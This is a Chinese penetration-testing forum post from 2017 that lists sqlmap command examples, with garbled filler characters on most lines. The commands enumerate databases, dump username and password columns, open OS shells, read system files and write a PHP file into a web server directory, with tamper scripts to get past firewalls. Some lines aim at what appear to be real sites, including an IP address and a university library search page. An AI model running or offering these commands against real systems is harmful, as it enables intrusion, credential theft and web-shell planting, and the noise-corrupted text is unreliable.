中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
2 D3 I# q, c3 k& p" j8 h. u: v) Y, S- T7 q! S9 b
update :::::>     in the folder   after  execute    following   order : svn update$ ]( D# z( M9 ]) q" a# P2 c+ X" I
9 h+ R8 g6 `- e& V, Q9 [( J1 _
sqlmap.py -r 1.txt --current-db
) ~% `0 I1 U0 P7 X. y! U/ Q# i$ n& B/ A2 B
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
3 R& F" X8 {/ r' i% k0 y1 x$ t% z3 Y; F  T2 ]+ M
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) . h% O( ?" ^3 i, O. q0 j' l
猜解数据库
1 S  P6 z% x$ R& x./sqlmap.py -u "injection-url" --dbs
( s+ s) C5 f( Z' m$ y* [8 ?sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"8 u5 F1 O! n. K# u+ R
" s# X7 ~. N* D
猜解表名! f* e$ n% B' b1 |7 S7 m
./sqlmap.py -u "injection-url" -D database_name --tables3 F' q* c  W' D+ d6 n# R* Q

- I3 `- f8 F& f$ Qsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"" b. a; }0 H4 h; p- Z: l- s
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
: |6 _/ d3 B9 q& ]0 r+ s; m( C
: C) K& H  W* Q4 o8 F1 v& p' O7 L1 W$ ?sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
$ V8 L- B5 i, c' Z3 v! J$ U
$ a+ n8 N8 [& M# Ksqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"# O7 K- @3 I0 M& ?/ h+ v
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
* E0 k* h2 X" R6 y% Msqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" - l  H3 b* I8 p2 S( Z2 O+ N
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"$ D+ Q; ]5 [* x+ n' {( |6 I( n
2 g, F  f: B8 B& l' S
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
! t4 ~" `. a9 i& T2 ?- dsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
6 d- [, |, X; z; L2 B/ \: Usqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
' S% Q6 j3 \/ \% q1 a$ `sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py") D" {8 P+ T! i+ J6 e" z
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump' P: S7 H$ O9 s: ]( s
- `  b4 z) W/ p3 \( t
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
, e7 w2 w7 Z+ K( M3 jsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"9 C0 s- J% T% A9 o6 Z9 u- I& n+ X
. n8 j+ u" W0 Q: X/ Q6 L1 m
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"  G. p; I" \9 J( `; h- T) S/ G
猜解列名' J) g4 ]& w0 E. q
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
; ^6 J" b8 G0 p! k9 c$ p7 G7 D& b; ]$ {0 Q; c
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" / I! B& F3 g) M0 Z" W  G* [% ^
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 7 d! p/ g/ \/ I  T( E
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"! E7 U* O9 h) y. e

' y5 c. m  Y8 esqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"* ^6 F! D8 k3 |6 T% ^- h" F* r
&submit=Go& h1 O$ ?* I: Z
猜解值- K* b1 t" d- a8 W$ F/ X
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
. h+ m$ k" Q7 x" _========================================================, f1 T0 f7 ?) {6 S2 Z0 q& B3 k/ F- E
搜索表名中包括mana字符的6 X. Y9 A+ H# U, j) j. S6 q
/sqlmap.py -u "injection-url" -T mana --search
4 Y5 g* d4 Z  D* ^0 j返回一个交互式sql shell
( [+ ?/ Y7 K; I# r0 a/sqlmap.py -u "injection-url" --sql-shell$ {0 }4 o6 E" u  b
读取指定文件(需权限), w: g: M2 d8 w3 m* }: o% g. B9 \
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
! J/ X, u. O9 ~查看当前 用户 及 数据库 6 t, A/ E( \- f4 |& N9 ]( L
/sqlmap.py -u "injection-url" --current-user --current-db( y* @) L. n1 ]5 H
本地文件 写入 远程目标绝对路径# R! O  \2 I. ?. g. M" @9 y
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径% D0 i; u: j7 }* N0 }( l0 v8 j
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" * F8 e. c# _, m  `' S& p+ }' M5 f

8 d6 U# T/ T1 c4 L0 E; p2 Wsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
3 J: N) g/ |" r7 ]. P6 F1 {4 ]查看某用的权限' w; {, t! P0 w
/sqlmap.py -u "injection-url" --privileges -U root
# J% K6 M; n5 u* t8 E查看当前用户是否为dba  G: Z8 h  U( ]7 K0 E
/sqlmap.py -u "injection-url" --is-dba
% D4 c- P: H  X6 s读取所有数据库用户或指定数据库用户的密码
+ [+ n( I, F/ J/ ?% E6 Q7 asqlmap.py -r 1.txt --users --passwords, x4 j! U  p: S8 i: ]( P" B2 u: b
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
& Y- h6 }. r& W& Z- w+ l4 N2 M7 i( E( w. E/ |, N% e
/sqlmap.py -u "injection-url" --passwords -U root- P% I9 T, V/ Y. }6 E9 }9 ?$ [  b
0 `- E/ Y1 j4 b: j2 H5 x
--start&&--stop 与 --first&&--last 的区别+ I) \7 S. j( _; @8 o4 W5 r4 k6 R6 Q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)  s- q% J) q7 K  E2 d' T
) ~7 U* \6 v" J7 P
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)1 T$ p4 K0 x  d% }/ p9 [
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
" b5 \% V3 ~+ H+ x) {/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
+ e) a6 u  o1 w' [5 }" J5 B
  k8 A) o; Z2 C& K执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)3 q% t3 H9 X% z  R/ }
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
8 x$ g  H& {$ C' P2 M) I, Z8 M: D+ M3 R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2